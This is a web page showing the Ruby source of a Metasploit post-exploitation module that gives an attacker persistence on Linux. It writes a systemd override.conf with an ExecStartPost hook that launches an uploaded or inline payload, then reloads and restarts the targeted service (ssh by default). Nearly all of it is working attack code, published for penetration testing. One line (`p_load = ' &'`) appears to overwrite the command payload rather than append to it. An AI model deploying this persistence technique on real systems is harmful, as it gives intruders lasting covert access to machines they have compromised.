Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/persistence/init_systemd_override.rb
31755 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
include Msf::Exploit::FileDropper
12
include Msf::Exploit::EXE # for generate_payload_exe
13
include Msf::Exploit::Local::Persistence
14
prepend Msf::Exploit::Remote::AutoCheck
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Service SystemD override.conf Persistence',
21
'Description' => %q{
22
This module will create an override.conf file for a SystemD service on the box.
23
The ExecStartPost hook is used to launch the payload after the service is started.
24
We need enough access (typically root) to write in the /etc/systemd/system
25
directory and potentially restart services.
26
Verified on Ubuntu 22.04
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'h00die',
31
],
32
'Platform' => ['unix', 'linux'],
33
'Privileged' => true,
34
'Targets' => [
35
['systemd', {}],
36
['systemd user', {}]
37
],
38
'DefaultTarget' => 0,
39
'Arch' => [
40
ARCH_CMD,
41
ARCH_X86,
42
ARCH_X64,
43
ARCH_ARMLE,
44
ARCH_AARCH64,
45
ARCH_PPC,
46
ARCH_MIPSLE,
47
ARCH_MIPSBE
48
],
49
'References' => [
50
['URL', 'https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html'],
51
['URL', 'https://askubuntu.com/a/659268'],
52
['URL', 'https://wiki.archlinux.org/title/Systemd'], # section 2.3.2 Drop-in files
53
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
54
['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]
55
],
56
'SessionTypes' => ['shell', 'meterpreter'],
57
'Notes' => {
58
'Stability' => [CRASH_SAFE],
59
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
60
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
61
},
62
'DisclosureDate' => '2010-03-30' # systemd release date
63
)
64
)
65
66
register_options(
67
[
68
OptString.new('SERVICE', [true, 'Service to override (e.g., sshd)', 'ssh']),
69
]
70
)
71
register_advanced_options(
72
[
73
OptBool.new('ReloadService', [true, 'Reload the service', true])
74
]
75
)
76
end
77
78
def check
79
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
80
81
root_dir = '/lib/systemd/system/'
82
service_file = "#{root_dir}#{datastore['SERVICE']}.service"
83
84
return CheckCode::Safe("Service #{datastore['SERVICE']} doesnt exist in #{root_dir}") unless exists?(service_file)
85
86
service_root_dir = '/etc/systemd/system/'
87
service_dir = "#{service_root_dir}#{datastore['SERVICE']}.service.d"
88
override_conf = "#{service_dir}/override.conf"
89
90
if directory?(service_dir)
91
return CheckCode::Safe("No write access to #{override_conf}") if exists?(override_conf) && !writable?(override_conf)
92
return CheckCode::Safe("No write access to #{service_dir}") if !exists?(override_conf) && !writable?(service_dir)
93
else
94
return CheckCode::Safe("No write access to #{service_root_dir}") unless writable?(service_root_dir)
95
end
96
97
CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
98
end
99
100
def install_persistence
101
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
102
103
service_dir = "/etc/systemd/system/#{datastore['SERVICE']}.service.d"
104
override_conf = "#{service_dir}/override.conf"
105
106
unless exists?(service_dir)
107
vprint_status("Creating #{service_dir}")
108
create_process('mkdir', args: ['-p', service_dir])
109
end
110
111
if exists?(override_conf)
112
conf = read_file(override_conf)
113
backup_conf_path = store_loot(override_conf, 'text/plain', session, conf, 'override.conf', "#{datastore['SERVICE']} override.conf backup")
114
vprint_status("Backup copy of #{override_conf} stored to: #{backup_conf_path}")
115
@clean_up_rc << "upload #{backup_conf_path} #{override_conf}\n"
116
else
117
@clean_up_rc << "rm #{override_conf}\n"
118
end
119
120
if payload.arch.first == 'cmd'
121
p_load = payload.encoded
122
p_load = ' &' unless p_load.end_with?('&')
123
contents = <<~OVERRIDE
124
[Service]
125
ExecStartPost=/bin/sh -c '#{p_load}'
126
OVERRIDE
127
else
128
payload_path = writable_dir
129
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
130
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
131
payload_path << payload_name
132
print_status("Uploading payload file to #{payload_path}")
133
upload_and_chmodx payload_path, generate_payload_exe
134
contents = <<~OVERRIDE
135
[Service]
136
ExecStartPost=/bin/sh -c '#{payload_path} &'
137
OVERRIDE
138
end
139
140
vprint_status("Writing override file to: #{override_conf}")
141
write_file(override_conf, contents)
142
143
# This was taken from pam_systemd(8)
144
systemd_socket_id = cmd_exec('id -u')
145
systemd_socket_dir = "/run/user/#{systemd_socket_id}"
146
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload")
147
148
@clean_up_rc << "execute -f /bin/systemctl -a \"daemon-reload\"\n"
149
@clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\""
150
151
if datastore['ReloadService']
152
vprint_status("Reloading #{datastore['SERVICE']} service")
153
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service")
154
end
155
end
156
end
157
158